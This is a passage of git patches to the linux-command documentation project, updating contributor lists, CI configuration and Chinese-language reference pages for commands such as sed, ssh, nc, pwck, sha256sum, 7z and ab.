b/template/contributors.ejs index ebf31f52eca..b4f3d43a495 100644 --- a/template/contributors.ejs +++ b/template/contributors.ejs @@ -99,6 +99,9 @@ Wang Jianing + + BingCoke + DaYangtuo247 @@ -150,8 +153,8 @@ Lucien - - M4n5ter + + Wang mwei From 98dd113b9d60eeb84b9a74953c9678d03e8270a9 Mon Sep 17 00:00:00 2001 From: "renovate[bot]" <29139614+renovate[bot]@users.noreply.github.com> Date: Tue, 23 May 2023 10:33:40 +0800 Subject: [PATCH 0698/1019] chore(deps): update dependency markdown-to-html-cli to ~3.6.0 (#499) Co-authored-by: renovate[bot] <29139614+renovate[bot]@users.noreply.github.com> --- package.json | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/package.json b/package.json index c19b98c24b0..d433f151451 100644 --- a/package.json +++ b/package.json @@ -31,7 +31,7 @@ "ejs": "~3.1.6", "compressing": "^1.6.2", "fs-extra": "~10.1.0", - "markdown-to-html-cli": "~3.5.0", + "markdown-to-html-cli": "~3.6.0", "sitemap-generator": "~8.5.1", "sqlite3": "5.0.8", "stylus": "~0.59.0", From 5a20430770c75404cdba49530146c40df3e1d4fe Mon Sep 17 00:00:00 2001 From: Joke-csgo <61868296+Joke-csgo@users.noreply.github.com> Date: Wed, 24 May 2023 13:20:28 +0800 Subject: [PATCH 0699/1019] doc: Update yum.md (#500) MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit 新增参数provides --- command/yum.md | 3 ++- 1 file changed, 2 insertions(+), 1 deletion(-) diff --git a/command/yum.md b/command/yum.md index 0b69f542bb2..806bf8a3972 100644 --- a/command/yum.md +++ b/command/yum.md @@ -44,7 +44,8 @@ shell：进入yum的shell提示符； resolvedep：显示rpm软件包的依赖关系； localinstall：安装本地的rpm软件包； localupdate：显示本地rpm软件包进行更新； -deplist：显示rpm软件包的所有依赖关系。 +deplist：显示rpm软件包的所有依赖关系； +provides：查询某个程序所在安装包。 ``` ### 实例 From 5ecc63422b8c9846a3c1df746296b518ab97b2b8 Mon Sep 17 00:00:00 2001 From: "github-actions[bot]" Date: Wed, 24 May 2023 05:21:07 +0000 Subject: [PATCH 0700/1019] doc: update README.md. --- README.md | 3 +++ 1 file changed, 3 insertions(+) diff --git a/README.md b/README.md index 801640b244f..8143f99b6da 100644 --- a/README.md +++ b/README.md @@ -499,6 +499,9 @@ https://raw.githubusercontent.com/jaywcjlove/linux-command/master/command/<命 Jeremy2214 + + Joke-csgo + LaudOak From a00bd774e0a746a61a1608c3603f7ec49bb2b02b Mon Sep 17 00:00:00 2001 From: "github-actions[bot]" Date: Wed, 24 May 2023 05:21:07 +0000 Subject: [PATCH 0701/1019] doc: update template/contributors.ejs. --- template/contributors.ejs | 3 +++ 1 file changed, 3 insertions(+) diff --git a/template/contributors.ejs b/template/contributors.ejs index b4f3d43a495..3b63b34d3f8 100644 --- a/template/contributors.ejs +++ b/template/contributors.ejs @@ -135,6 +135,9 @@ Jeremy2214 + + Joke-csgo + LaudOak From dfedd5c605237dd6239775b1566939bcd7507a59 Mon Sep 17 00:00:00 2001 From: jaywcjlove <398188662@qq.com> Date: Wed, 24 May 2023 14:13:44 +0800 Subject: [PATCH 0702/1019] chore: update workflows config. (#460) --- .github/workflows/ci.yml | 21 +++++++++++---------- 1 file changed, 11 insertions(+), 10 deletions(-) diff --git a/.github/workflows/ci.yml b/.github/workflows/ci.yml index 743bbe950f6..6da96c07d75 100644 --- a/.github/workflows/ci.yml +++ b/.github/workflows/ci.yml @@ -44,7 +44,6 @@ jobs: npm install npm run dash cp CONTRIBUTORS.svg .deploy - rm -rf .deploy/linux-command.docset - name: Create Tag id: create_tag @@ -60,15 +59,6 @@ jobs: run: | echo "${{steps.create_tag.outputs.versionNumber}}https://jaywcjlove.github.io/linux-command/linux-command.docset.tgz" > .deploy/linux-command-docset.xml - - name: Deploy - uses: peaceiris/actions-gh-pages@v3 - with: - commit_message: '[${{steps.tag_version.outputs.tag}}] ${{ github.event.head_commit.message }}' - github_token: ${{ secrets.GITHUB_TOKEN }} - publish_dir: ./.deploy - user_name: github-actions[bot] - user_email: github-actions[bot]@users.noreply.github.com - - name: Generate Changelog id: changelog uses: jaywcjlove/changelog-generator@main @@ -122,6 +112,17 @@ jobs: http://localhost:9665/ ``` + - run: rm -rf .deploy/linux-command.docset + + - name: Deploy + uses: peaceiris/actions-gh-pages@v3 + with: + commit_message: '[${{steps.tag_version.outputs.tag}}] ${{ github.event.head_commit.message }}' + github_token: ${{ secrets.GITHUB_TOKEN }} + publish_dir: ./.deploy + user_name: github-actions[bot] + user_email: github-actions[bot]@users.noreply.github.com + - run: npm publish continue-on-error: true name: 📦 linux-command publish to NPM From 023ce79173ee6097c1be0074c20fb19f7dd1e669 Mon Sep 17 00:00:00 2001 From: jaywcjlove <398188662@qq.com> Date: Wed, 24 May 2023 14:20:17 +0800 Subject: [PATCH 0703/1019] released v1.16.0 (#460) --- package.json | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/package.json b/package.json index d433f151451..75b6e12c54d 100644 --- a/package.json +++ b/package.json @@ -1,6 +1,6 @@ { "name": "linux-command", - "version": "1.15.0", + "version": "1.16.0", "description": "Linux Command", "homepage": "https://jaywcjlove.github.io/linux-command/", "main": "dist/data.json", From 8b3e8f621bad587099cf1c210ac4ac30fdbdcd85 Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?=E5=B0=8F=E5=BC=9F=E8=B0=83=E8=B0=83?= Date: Thu, 25 May 2023 09:35:07 +0800 Subject: [PATCH 0704/1019] doc: Update sed.md (#503) --- command/sed.md | 19 ++++++++++++++++--- 1 file changed, 16 insertions(+), 3 deletions(-) diff --git a/command/sed.md b/command/sed.md index 949cde4b185..108fa1c44f6 100644 --- a/command/sed.md +++ b/command/sed.md @@ -223,6 +223,7 @@ ifconfig ens32 | sed -n '/inet /p' | sed 's/inet \([0-9.]\+\).*/\1/' ``` ### 大小写转换U/L + ```shell \u： 首字母转换为大写 \U： 全部转换为大写 @@ -250,14 +251,26 @@ BIN:x:1:1:bin:/bin:/sbin/nologin ### 组合多个表达式 +1. 替换文本中的多个字符串： + ```shell -sed '表达式' | sed '表达式' +sed -e 's/old_string/new_string/g' -e 's/another_old_string/another_new_string/g' file.txt +``` -等价于： +2. 删除文本中的多个行： -sed '表达式; 表达式' +```shell +sed -e '1d' -e '/pattern/d' file.txt ``` +3. 在文本中插入多个行： + +```shell +sed -e '1i\inserted_line1' -e '2i\inserted_line2' file.txt +``` + +其中，-e 表示指定一个表达式，多个表达式之间用 -e 分隔。每个表达式可以是一个 sed 命令，例如 s、d、i 等。 + ### 引用 sed表达式可以使用单引号来引用，但是如果表达式内部包含变量字符串，就需要使用双引号。 From 92fe14ab820ffc64edf66d9a1a3412d49ab5e769 Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?=E5=B0=8F=E5=BC=9F=E8=B0=83=E8=B0=83?= Date: Sat, 27 May 2023 09:12:26 +0800 Subject: [PATCH 0705/1019] doc: Update rsync.md fix #504 --- command/rsync.md | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/command/rsync.md b/command/rsync.md index 9132b1ecb35..669ca60caa6 100644 --- a/command/rsync.md +++ b/command/rsync.md @@ -51,7 +51,7 @@ rsync [OPTION]... rsync://[USER@]HOST[:PORT]/SRC [DEST] -D, --devices 保持设备文件信息。 -t, --times 保持文件时间信息。 -S, --sparse 对稀疏文件进行特殊处理以节省DST的空间。 --n, --dry-run现实哪些文件将被传输。 +-n, --dry-run 显示哪些文件将被传输。 -w, --whole-file 拷贝文件，不进行增量检测。 -x, --one-file-system 不要跨越文件系统边界。 -B, --block-size=SIZE 检验算法使用的块尺寸，默认是700字节。 From f260eb1ec3631f6d1b05c9cc5eab723d13bae0b4 Mon Sep 17 00:00:00 2001 From: "github-actions[bot]" Date: Sat, 27 May 2023 01:13:09 +0000 Subject: [PATCH 0706/1019] doc: update README.md. --- README.md | 8 ++++---- 1 file changed, 4 insertions(+), 4 deletions(-) diff --git a/README.md b/README.md index 8143f99b6da..da5e3239be7 100644 --- a/README.md +++ b/README.md @@ -499,8 +499,8 @@ https://raw.githubusercontent.com/jaywcjlove/linux-command/master/command/<命 Jeremy2214 - - Joke-csgo + + Nexchard LaudOak @@ -565,8 +565,8 @@ https://raw.githubusercontent.com/jaywcjlove/linux-command/master/command/<命 Spaghetti-C - - iwangjie + + Na Meng Wingrez From 7e5938af498cfabbf34bcf3d2beb5ef5f435fe2c Mon Sep 17 00:00:00 2001 From: "github-actions[bot]" Date: Sat, 27 May 2023 01:13:10 +0000 Subject: [PATCH 0707/1019] doc: update template/contributors.ejs. --- template/contributors.ejs | 8 ++++---- 1 file changed, 4 insertions(+), 4 deletions(-) diff --git a/template/contributors.ejs b/template/contributors.ejs index 3b63b34d3f8..084cb670451 100644 --- a/template/contributors.ejs +++ b/template/contributors.ejs @@ -135,8 +135,8 @@ Jeremy2214 - - Joke-csgo + + Nexchard LaudOak @@ -201,8 +201,8 @@ Spaghetti-C - - iwangjie + + Na Meng Wingrez From 119f80ab2419773f11c462c72c202aebb7fa959b Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?=E5=B0=8F=E5=BC=9F=E8=B0=83=E8=B0=83?= Date: Sat, 27 May 2023 11:55:21 +0800 Subject: [PATCH 0708/1019] Update ssh.md --- command/ssh.md | 49 +++++++++++++++++++++++++++++++++++++++++++++++++ 1 file changed, 49 insertions(+) diff --git a/command/ssh.md b/command/ssh.md index c4cbcdd5cb6..4b3750a4753 100644 --- a/command/ssh.md +++ b/command/ssh.md @@ -58,6 +58,55 @@ ssh-keygen -f keyfile -i -m key_format -e -m key_format # key_format: RFC4716/SS ssh-copy-id user@ip:port # 将当前用户的公钥复制到需要 ssh 的服务器的 ~/.ssh/authorized_keys，之后可以免密登录 ``` +连接远程服务器 + +```shell +ssh username@remote_host +``` + +2. 连接远程服务器并指定端口 + +```shell +ssh -p port username@remote_host +``` + +使用密钥文件连接远程服务器 + +```shell +ssh -i path/to/private_key username@remote_host +``` + +在本地执行远程命令 + +```shell +ssh username@remote_host "command" +``` + +在本地复制文件到远程服务器 + +```shell +scp path/to/local_file username@remote_host:/path/to/remote_directory +``` + +在远程服务器复制文件到本地 + +```shell +scp username@remote_host:/path/to/remote_file path/to/local_directory +``` + +在本地端口转发到远程服务器 + +```shell +ssh -L local_port:remote_host:remote_port username@remote_host +``` + +在远程服务器端口转发到本地 + +```shell +ssh -R remote_port:local_host:local_port username@remote_host +``` + + ### 背后故事 > 英文：Tatu Ylonen From 512a35b99550f1c5559c1f0fb0f0dbda8eafbc9d Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?=E5=B0=8F=E5=BC=9F=E8=B0=83=E8=B0=83?= Date: Sat, 27 May 2023 11:55:46 +0800 Subject: [PATCH 0709/1019] Update ssh.md --- command/ssh.md | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/command/ssh.md b/command/ssh.md index 4b3750a4753..0d9fdc39e2c 100644 --- a/command/ssh.md +++ b/command/ssh.md @@ -64,7 +64,7 @@ ssh-copy-id user@ip:port # 将当前用户的公钥复制到需要 ssh 的服务 ssh username@remote_host ``` -2. 连接远程服务器并指定端口 +连接远程服务器并指定端口 ```shell ssh -p port username@remote_host From 1abf91b1f58cc3c3c28cdfb571b533b2dac8e943 Mon Sep 17 00:00:00 2001 From: BingCoke <81607010+BingCoke@users.noreply.github.com> Date: Mon, 29 May 2023 12:18:54 +0800 Subject: [PATCH 0710/1019] doc: update pidstat.md (#505) MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit 错别字+使描述更准确 --- command/pidstat.md | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) diff --git a/command/pidstat.md b/command/pidstat.md index bb113b9acbf..b10e06e8be3 100644 --- a/command/pidstat.md +++ b/command/pidstat.md @@ -70,10 +70,10 @@ pidstat [ 选项 ] [ <时间间隔> ] [ <次数> ] ``` 表头字段说明 - PID：进程标识符 -- Minflt/s:任务每秒发生的次要错误，不需要从磁盘中加载页 -- Majflt/s:任务每秒发生的主要错误，需要从磁盘中加载页 +- Minflt/s:任务每秒发生的次要错误，不需要从磁盘中加载内存页 +- Majflt/s:任务每秒发生的主要错误，需要从磁盘中加载内存页 - VSZ：虚拟地址大小，虚拟内存的使用KB -- RSS：常驻集合大小，非交换区五里内存使用KB +- RSS：常驻集合大小，非交换区物理内存使用KB - Command：task命令名 #### 查看所有进程的IO使用情况 From 832bc5ff5ee7750e64a95cf52d39eb26275bfa5d Mon Sep 17 00:00:00 2001 From: "github-actions[bot]" Date: Mon, 29 May 2023 04:19:51 +0000 Subject: [PATCH 0711/1019] doc: update README.md. --- README.md | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) diff --git a/README.md b/README.md index da5e3239be7..40e4b743b73 100644 --- a/README.md +++ b/README.md @@ -436,6 +436,9 @@ https://raw.githubusercontent.com/jaywcjlove/linux-command/master/command/<命 谈笑风生间 + + BingCoke + Ein Verne @@ -463,9 +466,6 @@ https://raw.githubusercontent.com/jaywcjlove/linux-command/master/command/<命 Wang Jianing - - BingCoke - DaYangtuo247 From 82001fe7aa4d920dfd47150884bc18fd5266dfed Mon Sep 17 00:00:00 2001 From: "github-actions[bot]" Date: Mon, 29 May 2023 04:19:52 +0000 Subject: [PATCH 0712/1019] doc: update template/contributors.ejs. --- template/contributors.ejs | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) diff --git a/template/contributors.ejs b/template/contributors.ejs index 084cb670451..ff7ebac7559 100644 --- a/template/contributors.ejs +++ b/template/contributors.ejs @@ -72,6 +72,9 @@ 谈笑风生间 + + BingCoke + Ein Verne @@ -99,9 +102,6 @@ Wang Jianing - - BingCoke - DaYangtuo247 From ea7767846ed3cde94ba4f35c5ec9d44ef838c29d Mon Sep 17 00:00:00 2001 From: T-TRz879 <614560331@qq.com> Date: Mon, 29 May 2023 22:48:33 +0800 Subject: [PATCH 0713/1019] doc: update top.md. (#506) --- command/top.md | 3 ++- 1 file changed, 2 insertions(+), 1 deletion(-) diff --git a/command/top.md b/command/top.md index 0638d5ed09f..4bdea02c729 100644 --- a/command/top.md +++ b/command/top.md @@ -25,7 +25,8 @@ top(选项) -i<时间>：设置间隔时间； -u<用户名>：指定用户名； -p<进程号>：指定进程； --n<次数>：循环显示的次数。 +-n<次数>：循环显示的次数； +-H：所有线程占用资源情况。 ``` ### top交互命令 From ff2b4de52c06a8ef5f08a9159ed236ccd75b8fce Mon Sep 17 00:00:00 2001 From: "github-actions[bot]" Date: Mon, 29 May 2023 14:49:07 +0000 Subject: [PATCH 0714/1019] doc: update README.md. --- README.md | 3 +++ 1 file changed, 3 insertions(+) diff --git a/README.md b/README.md index 40e4b743b73..d4cbc1d94c1 100644 --- a/README.md +++ b/README.md @@ -565,6 +565,9 @@ https://raw.githubusercontent.com/jaywcjlove/linux-command/master/command/<命 Spaghetti-C + + T-TRz879 + Na Meng From 257259f73cc8832d4f48261111652b20b4d00313 Mon Sep 17 00:00:00 2001 From: "github-actions[bot]" Date: Mon, 29 May 2023 14:49:07 +0000 Subject: [PATCH 0715/1019] doc: update template/contributors.ejs. --- template/contributors.ejs | 3 +++ 1 file changed, 3 insertions(+) diff --git a/template/contributors.ejs b/template/contributors.ejs index ff7ebac7559..733263aae0e 100644 --- a/template/contributors.ejs +++ b/template/contributors.ejs @@ -201,6 +201,9 @@ Spaghetti-C + + T-TRz879 + Na Meng From f707705c4cbd370f719d6324d3815641b608b5b8 Mon Sep 17 00:00:00 2001 From: Alan <39884597+apnpc@users.noreply.github.com> Date: Tue, 30 May 2023 08:25:17 +0800 Subject: [PATCH 0716/1019] doc: update pwck (#507) Co-authored-by: Alan --- command/pwck.md | 35 +++++++++++++++-------------------- 1 file changed, 15 insertions(+), 20 deletions(-) diff --git a/command/pwck.md b/command/pwck.md index ec273e578a9..31c0fb2ee52 100644 --- a/command/pwck.md +++ b/command/pwck.md @@ -18,7 +18,8 @@ pwck(选项)(参数) ```shell -q：仅报告错误信息； -s：以用户id排序文件“/etc/passwd”和“/etc/shadow”; --r：只读方式运行指令。 +-r：只读方式运行指令； +-R：在指定的chroot环境下检查密码文件。 ``` ### 参数 @@ -29,24 +30,18 @@ pwck(选项)(参数) ### 实例 ```shell -pwck /etc/passwd -user 'lp': directory '/var/spool/lpd' does not exist -user 'news': directory '/var/spool/news' does not exist -user 'uucp': directory '/var/spool/uucp' does not exist -user 'www-data': directory '/var/www' does not exist -user 'list': directory '/var/list' does not exist -user 'irc': directory '/var/run/ircd' does not exist -user 'gnats': directory '/var/lib/gnats' does not exist -user 'nobody': directory '/nonexistent' does not exist -user 'syslog': directory '/home/syslog' does not exist -user 'couchdb': directory '/var/lib/couchdb' does not exist -user 'speech-dispatcher': directory '/var/run/speech-dispatcher' does not exist -user 'usbmux': directory '/home/usbmux' does not exist -user 'haldaemon': directory '/var/run/hald' does not exist -user 'pulse': directory '/var/run/pulse' does not exist -user 'saned': directory '/home/saned' does not exist -user 'hplip': directory '/var/run/hplip' does not exist -pwck：无改变 +pwck +user 'ftp': directory '/var/ftp' does not exist +pwck: no changes ``` +执行`pwck`命令后显示了一些警告，提示有用户`lp`的主目录 `/var/spool/lpd`不存在。为了解决这个问题，你有几个选项： +1. 如果你确定这些用户不会被使用，你可以考虑使用`userdel`命令来删除这些用户。 +2. 如果这些用户需要被使用，你应该创建相应的目录。例如，你可以使用以下命令： - +```shell +# 创建目录 +sudo mkdir /var/ftp +# 将目录的所有权赋给相应的用户 +sudo chown ftp:ftp /var/ftp +``` +3. 如果这些用户对应的软件包还未安装，你可以考虑安装它们。软件包管理器（如`yum`或`apt`）通常会自动创建必要的用户和目录。 From a3d9a7064ff175faecbff299350c109592d621be Mon Sep 17 00:00:00 2001 From: "github-actions[bot]" Date: Tue, 30 May 2023 00:26:22 +0000 Subject: [PATCH 0717/1019] doc: update README.md. --- README.md | 3 +++ 1 file changed, 3 insertions(+) diff --git a/README.md b/README.md index d4cbc1d94c1..eba935ca5ef 100644 --- a/README.md +++ b/README.md @@ -466,6 +466,9 @@ https://raw.githubusercontent.com/jaywcjlove/linux-command/master/command/<命 Wang Jianing + + Alan + DaYangtuo247 From c6c837f0cc2d6e6180b52bcfcd3f5ed927679e37 Mon Sep 17 00:00:00 2001 From: "github-actions[bot]" Date: Tue, 30 May 2023 00:26:23 +0000 Subject: [PATCH 0718/1019] doc: update template/contributors.ejs. --- template/contributors.ejs | 3 +++ 1 file changed, 3 insertions(+) diff --git a/template/contributors.ejs b/template/contributors.ejs index 733263aae0e..67491f155a9 100644 --- a/template/contributors.ejs +++ b/template/contributors.ejs @@ -102,6 +102,9 @@ Wang Jianing + + Alan + DaYangtuo247 From 1668d797e1297e93e3cf3400919171b8b3043662 Mon Sep 17 00:00:00 2001 From: jaywcjlove <398188662@qq.com> Date: Thu, 1 Jun 2023 01:08:54 +0800 Subject: [PATCH 0719/1019] add sha256sum.md (#480) --- command/sh.md | 4 +-- command/sha256sum.md | 62 ++++++++++++++++++++++++++++++++++++++++++++ 2 files changed, 64 insertions(+), 2 deletions(-) create mode 100644 command/sha256sum.md diff --git a/command/sh.md b/command/sh.md index 5d843c41488..6983e2c3ea2 100644 --- a/command/sh.md +++ b/command/sh.md @@ -7,13 +7,13 @@ shell命令解释器 **sh命令** 是shell命令语言解释器，执行命令从标准输入读取或从一个文件中读取。通过用户输入命令，和内核进行沟通！Bourne Again Shell （即bash）是自由软件基金会（GNU）开发的一个Shell，它是Linux系统中一个默认的Shell。Bash不但与Bourne Shell兼容，还继承了C Shell、Korn Shell等优点。 -### 语法 +### 语法 ```shell bash [options] [file] ``` -### 选项 +### 选项 ```shell -c string：命令从-c后的字符串读取。 diff --git a/command/sha256sum.md b/command/sha256sum.md new file mode 100644 index 00000000000..eb8fd81725b --- /dev/null +++ b/command/sha256sum.md @@ -0,0 +1,62 @@ +sha256sum +=== + +用于计算文件的 SHA-256 哈希值 + +## 补充说明 + +**sha256sum命令** 是打印或检查 SHA256（256位）校验 + +### 语法 + +```shell +sha256sum [OPTION]... [FILE]... +``` + +### 选项 + +```shell +-b, --binary # 以二进制模式读取 +-c, --check # 从文件中读取 SHA256 校验和并进行检查 + --tag # 创建 BSD 风格的校验和 +-t, --text # 以文本模式读取（默认） +-z, --zero # 每行输出以 NUL 结尾，而不是换行符，并禁用文件名转义 + --help # 显示此帮助并退出 + --version # 输出版本信息并退出 +``` + +### 实例 + +以下是一些使用 sha256sum 命令的示例： + +1. 计算文件的 SHA-256 哈希值 + +``` +sha256sum file.txt +``` + +这将会输出文件 file.txt 的 SHA-256 哈希值和文件名。 + +2. 计算多个文件的 SHA-256 哈希值 + +``` +sha256sum file1.txt file2.txt +``` + +这将会输出文件 file1.txt 和 file2.txt 的 SHA-256 哈希值和文件名。 + +3. 将 SHA-256 哈希值保存到文件中 + +``` +sha256sum file.txt > hash.txt +``` + +这将会将文件 file.txt 的 SHA-256 哈希值保存到文件 hash.txt 中。 + +4. 验证文件的 SHA-256 哈希值 + +``` +sha256sum -c hash.txt +``` + +这将会验证文件的 SHA-256 哈希值是否与 hash.txt 中的值匹配。如果匹配，输出 OK，否则输出 FAILED。 \ No newline at end of file From d6bc27242a70df878f00bcc375aa2832fc256e55 Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?=E9=A1=B9=E9=87=91?= Date: Sat, 3 Jun 2023 04:37:30 +0800 Subject: [PATCH 0720/1019] doc: Update nc.md (#509) * Update nc.md * Update nc.md * Update nc.md --- command/nc.md | 9 +++++++-- 1 file changed, 7 insertions(+), 2 deletions(-) diff --git a/command/nc.md b/command/nc.md index 100ff19fb71..6d1caeffe3f 100644 --- a/command/nc.md +++ b/command/nc.md @@ -1,11 +1,12 @@ nc === -用于设置路由器，是网络工具中的瑞士军刀。 +nc是网络工具中的瑞士军刀 ## 补充说明 -**nc命令** 全称**netcat**，用于设置路由器。它能通过 TCP 和 UDP 在网络中读写数据。通过与其他工具结合和重定向，你可以在脚本中以多种方式使用它。使用 netcat 命令所能完成的事情令人惊讶。 +**nc命令** 全称**netcat**，用于TCP、UDP或unix域套接字(uds)的数据流操作，它可以打开TCP连接，发送UDP数据包，监听任意TCP +和UDP端口，同时也可用作做端口扫描，支持IPv4和IPv6，与Telnet的不同在于nc可以编写脚本。 ### 语法 @@ -17,6 +18,10 @@ nc [-hlnruz][-g<网关...>][-G<指向器数目>][-i<延迟秒数>][-o<输出文 ### 选项 ```shell +-4 只使用IPV4 +-6 只使用IPV6 +-c 使用tls连接或者监听 +-D 启用socket调试开关 -g <网关> # 设置路由器跃程通信网关，最多可设置8个。 -G<指向器数目> # 设置来源路由指向器，其数值为4的倍数。 -h 在线帮助。 From 565a418e86ab49a44493576fc9c590c1c0646168 Mon Sep 17 00:00:00 2001 From: "github-actions[bot]" Date: Fri, 2 Jun 2023 20:38:12 +0000 Subject: [PATCH 0721/1019] doc: update README.md. --- README.md | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) diff --git a/README.md b/README.md index eba935ca5ef..dba13599088 100644 --- a/README.md +++ b/README.md @@ -391,12 +391,12 @@ https://raw.githubusercontent.com/jaywcjlove/linux-command/master/command/<命 烟草的香味 - - Glett - 项金 + + Glett + Jayin Taung From 3414d5d63432d67b3d3a4c7554bec3ee4dfb3aac Mon Sep 17 00:00:00 2001 From: "github-actions[bot]" Date: Fri, 2 Jun 2023 20:38:12 +0000 Subject: [PATCH 0722/1019] doc: update template/contributors.ejs. --- template/contributors.ejs | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) diff --git a/template/contributors.ejs b/template/contributors.ejs index 67491f155a9..5ee4f6b0c59 100644 --- a/template/contributors.ejs +++ b/template/contributors.ejs @@ -27,12 +27,12 @@ 烟草的香味 - - Glett - 项金 + + Glett + Jayin Taung From 0b3986f2a04422ec087104a3396c2226def6f307 Mon Sep 17 00:00:00 2001 From: xhal <34055638+xhal@users.noreply.github.com> Date: Tue, 13 Jun 2023 16:01:10 +0800 Subject: [PATCH 0723/1019] doc: update 7z/ab document. (#511) --- command/7z.md | 11 ++++++++--- command/ab.md | 22 +++++++++++++++++++++- 2 files changed, 29 insertions(+), 4 deletions(-) diff --git a/command/7z.md b/command/7z.md index 1d4d88c4d2c..5533b4328af 100644 --- a/command/7z.md +++ b/command/7z.md @@ -1,5 +1,5 @@ 7z -=== +== 拥有极高压缩比的开源压缩软件。 @@ -11,6 +11,11 @@ # Ubuntu 系统 apt-get update apt-get install p7zip-full -y + +# CentOS 参考：https://linuxconfig.org/how-to-install-p7zip-on-redhat-8 +sudo yum install epel-release +yum install p7zip p7zip-plugins + ``` ## 实例 @@ -111,5 +116,5 @@ apt-get install p7zip-full -y ## 官网 -更多安装使用方法可以访问官网学习： -或者可以访问简体中文网站： +更多安装使用方法可以访问官网学习：[https://www.7-zip.org/](https://www.7-zip.org/) +或者可以访问简体中文网站：[https://sparanoid.com/lab/7z/](https://sparanoid.com/lab/7z/) diff --git a/command/ab.md b/command/ab.md index 38f32619152..b69cf45292a 100644 --- a/command/ab.md +++ b/command/ab.md @@ -1,8 +1,23 @@ ab -=== +== Apache服务器的性能测试工具 + +## 安装 + +若系统未安装，使用以下命令安装 + +```shell +# Ubuntu +sudo apt-get install apache2-utils + +# Centos +yum install httpd-tools + +``` + + ## 补充说明 **ab命令** 是一个测试你 Apache http 服务器的工具，你可以通过这个工具，指定一个单位时间内向 apache 发出的请求数量来看看你的 Apache 和机器配合的性能如何。 @@ -119,4 +134,9 @@ name[:port]/path 主机：被测试主机。 +### 实例 +```shell +# 10个并发， 请求500次 +ab -c 10 -n 500 https://www.qq.com/ +``` From 0f862822a3ee6a46f5dee2a23f75b81de8c37122 Mon Sep 17 00:00:00 2001 From: "github-actions[bot]" Date: Tue, 13 Jun 2023 08:01:54 +0000 Subject: [PATCH 0724/1019] doc: update README.md. --- README.md | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/README.md b/README.md index dba13599088..c1e21884eb6 100644 --- a/README.md +++ b/README.md @@ -712,8 +712,8 @@ https://raw.githubusercontent.com/jaywcjlove/linux-command/master/command/<命 weibk - - 王凌枫 + + Lingfeng Wang yanyx From a090e65283e956d125c4488c4e69da9415d9cb63 Mon Sep 17 00:00:00 2001 From: "github-actions[bot]" Date: Tue, 13 Jun 2023 08:01:55 +0000 Subject: [PATCH 0725/1019] doc: update template/contributors.ejs. --- template/contributors.ejs | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/template/contributors.ejs b/template/contributors.ejs index 5ee4f6b0c59..e5ec74eeb2a 100644 --- a/template/contributors.ejs +++ b/template/contributors.ejs @@ -348,8 +348,8 @@ weibk - - 王凌枫 + + Lingfeng Wang yanyx From c8f7278a88f41540fe638cad1266132f6a847ae3 Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?=E5=B0=8F=E5=BC=9F=E8=B0=83=E8=B0=83?= Date: Wed, 14 Jun 2023 23:01:41 +0800 Subject: [PATCH 0726/1019] doc: Update README.md #512 --- README.md | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/README.md b/README.md index c1e21884eb6..0111efc77bf 100644 --- a/README.md +++ b/README.md @@ -38,7 +38,7 @@ **推荐使用的镜像 web 版本** [**`qq.wdev.cn`**](https://qq.wdev.cn) -[**`linux.devonline.net`**](http://linux.devonline.net/)，[**`man.zch.ooo`**](https://man.zch.ooo/)，[**`linux.mmoke.com`**](https://linux.mmoke.com)，[**`bqrdh.com`**](https://tools.bqrdh.com/linux-command/)，[**`linux.zyimm.com`**](http://linux.zyimm.com/)，[linux.vovuo.com](https://linux.vovuo.com/)，[`linux.liguiying.cn`](https://linux.liguiying.cn/) +[**`linux.devonline.net`**](http://linux.devonline.net/)，[**`man.zch.ooo`**](https://man.zch.ooo/)，[**`linux.mmoke.com`**](https://linux.mmoke.com)，[**`bqrdh.com`**](https://tools.bqrdh.com/linux-command/)，[**`linux.zyimm.com`**](http://linux.zyimm.com/)，[linux.vovuo.com](https://linux.vovuo.com/)，[`linux.liguiying.cn`](https://linux.liguiying.cn/)，[**`linux.zgrnb.com`**](https://linux.zgrnb.com/) **其它 web 版本** From 7679d3300c93f57afbdfb4f28112928c4fc9deeb Mon Sep 17 00:00:00 2001 From: "github-actions[bot]" Date: Wed, 14 Jun 2023 15:02:46 +0000 Subject: [PATCH 0727/1019] doc: update README.md. --- README.md | 3 +++ 1 file changed, 3 insertions(+) diff --git a/README.md b/README.md index 0111efc77bf..f481de2bfca 100644 --- a/README.md +++ b/README.md @@ -715,6 +715,9 @@ https://raw.githubusercontent.com/jaywcjlove/linux-command/master/command/<命 Lingfeng Wang + + xhal + yanyx From 5d2461f6e5ec286efa18e33dd26f330057834266 Mon Sep 17 00:00:00 2001 From: "github-actions[bot]" Date: Wed, 14 Jun 2023 15:02:47 +0000 Subject: [PATCH 0728/1019] doc: update template/contributors.ejs. --- template/contributors.ejs | 3 +++ 1 file changed, 3 insertions(+) diff --git a/template/contributors.ejs b/template/contributors.ejs index e5ec74eeb2a..770f609bf55 100644 --- a/template/contributors.ejs +++ b/template/contributors.ejs @@ -351,6 +351,9 @@ Lingfeng Wang + + xhal + yanyx From 23a1f5cf1214fa44fff585bfd962bb0ef15214d1 Mon Sep 17 00:00:00 2001 From: tutianyu101 <134258491+tutianyu101@users.noreply.github.com> Date: Thu, 15 Jun 2023 14:35:31 +0800 Subject: [PATCH 0729/1019] doc: add docker.md (#514) --- command/docker.md | 215 ++++++++++++++++++++++++++++++++++++++++++++++ 1 file changed, 215 insertions(+) create mode 100644 command/docker.md 